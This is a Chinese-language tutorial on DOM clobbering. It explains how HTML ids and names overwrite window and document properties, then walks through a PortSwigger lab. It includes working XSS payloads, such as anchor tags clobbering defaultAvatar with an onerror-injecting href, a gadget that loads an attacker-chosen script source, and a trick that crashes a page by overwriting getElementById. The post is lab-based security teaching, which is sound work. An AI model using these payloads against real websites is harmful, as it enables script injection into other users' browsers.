DOM与Window的关系#
当你在HTML设定了一个带有id的元素之后,你可以用window来得到他
<html>
<head></head>
<body>
<button id=Test>click me!</button>
<script>
console.log(window.Test)
</script>
</body>
</html>
所以,比如说我要让他弹窗,正常来讲我们可以加一个EventListener,然后触发,像这样子
<script>
document.getElementById("Test")
.addEventListener('click',()=>{
alert(1)
})
</script>
但是现在我们可以用一个最短的方式
Test.onclick=()=>alert(1)
除了id可以这么用,其实还有另外一些标签也可以,可以看到spec
html spec
<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>
DOM clobbering#
这里举一个攻击场景
<!DOCTYPE html>
<html>
<body>
<h1>留言板</h1>
<div>
你的留言:Hello DOM clobbering
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>
这里假设所有的xss代码都不起作用,只能更改html的情况下,如何才能攻击呢? 我们前面提到我们可以通过id等信息去直接拿到window,所以我们只需要更改html对下面的值进行覆盖即可。 比如说这样子
<div>
你的留言:<div id= "TEST_MODE"></div>
<a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
</div>
应该都看得懂,他就会把script的src读进来,那么比如我在本地写一个js,让他弹窗,我们可以试试''
可以看到他的输出就变为了:
- HTML可控并且JS中有利用到window之类的东西
- 用
<a>
搭配href 以及id 让元素toString
之后变成我们想要的值
- 用
多层级 DOM clobbering#
上面的例子是我们覆盖了单层的dom,那么是否可以覆盖多层的呢?
这里的意思就我们可不可以这样子window.config.Test
来覆盖Test呢
答案是可以的,我们这里用到了form
标签即可
<form id="config">
<input name = "IsTest" />
<button id="IsTest2">click me!</button>
</form>
<script>
console.log(window.config.IsTest)
console.log(window.config.IsTest2)
</script>
但是注意这里是没有a标签可以用的,所以如果tostring的话,就没办法利用了,所以得搭配点东西利用,这个后面会说
除了利用HTML 本身的层级以外,还可以利用另外一个特性:HTMLCollection
。
我们可以尝试这样子写(Firefox中只会输出第一个,所以我们用Chrome来看)
<a id="config">aaaa</a>
<a id ="config"></a>
<script>
console.log(window.config)
</script>
HTMLCollection
之后可以做什么呢?在4.2.10.2. Interface HTMLCollection中有写到,可以利用name 或是id 去拿HTMLCollection
里面的元素。
<!DOCTYPE html>
<html>
<body>
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
<script>
console.log(config.prod.apiUrl.value) //123
</script>
</body>
</html>
如果你需要もっともっと层级,这个时候就可以用到万能iframe了
<!DOCTYPE html>
<html>
<body>
<iframe name="config" srcdoc='
<a id="apiUrl"></a>
'></iframe>
<script>
setTimeout(() => {
console.log(config.apiUrl) // <a id="apiUrl"></a>
}, 500)
</script>
</body>
</html>
这里记得要加上一个setTimeout因为iframe加载需要时间 如果你需要更多层级的话,可以使用这个好用的工具:DOM Clobber3r
利用Document攻击#
直接上例子吧
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<img name=cookie>
<form id=test>
<input name=lastElementChild>
<div>I am last child</div>
</form>
<embed name=getElementById></embed>
<script>
console.log(document.cookie) // <img name="cookie">
console.log(document.querySelector('#test').lastElementChild) // <input name=lastElementChild>
console.log(document.getElementById) // <embed name=getElementById></embed>
</script>
</body>
</html>
我们利用了HTML 元素影响到了document,原本document.cookie
应该是要显示cookie 的,现在却变成了<img name=cookie>
这个元素,而lastElementChild
原本应该要回传的是最后一个元素,却因为form 底下的name 会优先,因此抓到了同名的元素。
最后的document.getElementById
也可以被DOM 覆盖,如此一来呼叫document.getElementById()
时就会出错,可以让整个页面crash。
ok那么我们现在可以打两个lab试试
PortSwigger1#
我们进来可以看到这里有一个留言区,可以用html的格式
function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send();
function escapeHTML(data) {
return data.replace(/[<>'"]/g, function(c){
return '&#' + c.charCodeAt(0) + ';';
})
}
function displayComments(comments) {
let userComments = document.getElementById("user-comments");
for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.createElement("section");
commentSection.setAttribute("class", "comment");
let firstPElement = document.createElement("p");
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
let divImgContainer = document.createElement("div");
divImgContainer.innerHTML = avatarImgHTML
if (comment.author) {
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
}
let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
firstPElement.innerHTML = newInnerHtml
}
if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
let year = dateObj.getFullYear();
if (month.length < 2)
month = '0' + month;
if (day.length < 2)
day = '0' + day;
dateStr = [day, month, year].join('-');
let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
firstPElement.innerHTML = newInnerHtml
}
firstPElement.appendChild(divImgContainer);
commentSection.appendChild(firstPElement);
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));
userComments.appendChild(commentSection);
}
}
};
我们先看到escapeHTML
函数,这里他对尖括号以及引号做了转义,用了实体编码,也就是他这里自己写了一个dompurify的东西。当然他也加入了这个
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
然后他取的就是defaultAvatar.avatar下的值,所以这里就是一个两层的一个dom clobbering,所以我们可以构造
<a id=defaultAvatar>
<a id=defaultAvatar name="avatar"href=...>
这样子就可以拿到href的值,然后我们闭合前面的,然后注释掉后面的即可
href='"onerror=alert(1)//
事实上…并没有触发
<a id=defaultAvatar>
<a id=defaultAvatar name= avatar href='tel:"onerror=alert(111)'>
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href='tel:"onerror=alert(1)//'>